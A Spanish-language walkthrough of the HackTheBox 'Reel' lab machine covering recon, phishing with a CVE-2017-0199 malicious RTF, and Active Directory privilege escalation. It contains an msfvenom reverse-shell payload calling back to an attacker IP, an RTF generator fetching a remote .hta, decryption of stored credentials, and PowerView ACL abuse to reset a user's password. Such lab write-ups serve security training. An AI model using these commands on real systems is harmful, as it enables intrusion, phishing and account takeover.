Reconocimiento
Nmap
Escaneamos la maquina para ver que puertos tiene abiertos:
nmap -p- --open --min-rate 5000 -Pn -n 10.10.10.77
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
593/tcp open http-rpc-epmap
49159/tcp open unknown
Explotación
FTP
Vamos a entrar como anonymous:
ftp 10.10.10.77
Vemos 3 archivos vamos a descargar todo:
mget *
Vanos a Ver que hay en estos archivos:
readme.txt
please email me any rtf format procedures - I'll review and convert.
new format / converted documents will be saved here.
Vemos que podemos enviar un email a alguien con un archivo.rtf y lo va a mirar
AppLocker.docx

Windows Event Forwarding.docx

Nos dice que el fichero esta corrupto, vamos a mirar los metadatos para ver si podemos encontrar mas información sobre a quién tenemos que enviar el email:
┌──(fouen㉿fouen)-[~/htb/reel]
└─$ exiftool Windows\ Event\ Forwarding.docx | grep Creator
Creator : nico@megabank.com
Encontramos un email, vamos a verificar si le podemos enviar un correo
Telnet
Vamos a conectarnos por telnet
telnet 10.10.10.77 25
Podemos usar VRFY para ver si el correo es válido:
VRFY
502 VRFY disallowed.
Otra forma seria:
MAIL FROM: fouen@megabank.com
250 OK
RCPT TO: nico@megabank.com
250 OK
RCPT TO: manolo@megabank.com
550 Unknown user
Aquí vemos que Nico devuelve OK pero Manolo no
Ya hemos visto que tenemos un correo válido al que le tenemos que enviar un .rtf.
Encontramos que hay un CVE que crea un rtf malicioso para entablar-nos una shell:
Este script cuando la víctima abra el .rtf forzará a que mande una petición a un servidor nuestro donde se encuentre un .hta malicioso
Para esto necesitamos crear el .hta malicioso, lo podemos crear con msfvenom:
Listamos si esta el formato hta:
┌──(fouen㉿fouen)-[~/htb/reel/CVE-2017-0199]
└─$ msfvenom -l formats | grep hta
hta-psh
Vemos que es hta-psh
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f hta-psh -o malicious.hta
Con el .hta creado vamos a usar el script del CVE:
python2 CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -w money.rtf -u http://10.10.14.10/malicious.hta -t RTF -x 0
Ahora nos ponemos en escucha por el puerto 4444:
rlwrap nc -nlvp 4444
Y enviamos el email, para ello voy a usar la utilidad sendEmail
sendEmail -f fouen@megabank.com -t nico@megabank.com -u MONEY -m "Your money" -s 10.10.10.77:25 -a money.rtf
Escalada de Privilegios
En el directorio Desktop encontramos un archivo creds.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">HTB\Tom</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
</Props>
</Obj>
</Objs>
Vemos que hay un usuario y una contraseña cifrada:
Esa contraseña la podemos ver en texto claro usando herramientas como Import-CliXml o Export-CliXml hay que decir que esto se usa en Powershell
powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.getNetworkCredential() | Format-List *"
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Ya teniendo estas credenciales vamos a intentar conectarnos por ssh:
tom@REEL C:\Users\tom>
Vamos a la ruta C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors
Aquí encontramos un acls.csv
acls.csvgeneralmente se refiere a un archivo que contiene información sobre las Listas de Control de Acceso
Nos lo pasamos a local para verlo mejor
smbserver.py acl $(pwd) -smb2support
copy acls.csv \\10.10.14.11\acl\acls.csv
Abrimos el archivo y vemos que noustro usuario tiene permisos de escritura sobre otro:

Podemos intentar cambiarle la contraseña:
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
Definir la acl
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
Creamos la contraseña como una string segura
$NewPassword = ConvertTo-SecureString 'fouen123$!' -AsPlainText -Force
Y cambiamos la del usuario que queramos
Set-DomainUserPassword -Identity claire -AccountPassword $NewPassword
Ya hemos cambiado la contraseña y nos podemos conectar como claire.
En el acls.csv vemos el permiso WriteDacl de claire sobre el grupo Backup_Admins:

Como tenemos permiso vamos a meternos al grupo:
net group Backup_Admins claire /add
Vemos los permisos sobre Administrator:
claire@REEL C:\Users>icacls Administrator
Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)
HTB\Backup_Admins:(OI)(CI)(F)
HTB\Administrator:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
Successfully processed 1 files; Failed processing 0 files
Vemos que sobre sobre Backup_Admins tenemos permisos full
Ahora nos podemos meter en el directorio de Administrador, dentro de Desktop vemos un directorio Backup Scripts:
Aquí dentro hay varios ficheros .ps1, vamos a ver si encontramos alguna credencial:
Podemos mirar mas rápido buscando por una palabra clave de esta manera:
dir | Select-String "Password"
De esta manera busca de manera recursiva sobre los ficheros mirando por la palabra clave que pongamos
Nos ha encontrado una credencial
Cr4ckMeIfYouC4n!
Vamos a probar a conectarnos como admin:
administrator@REEL C:\Users\Administrator>whoami
htb\administrator
Ya somos root!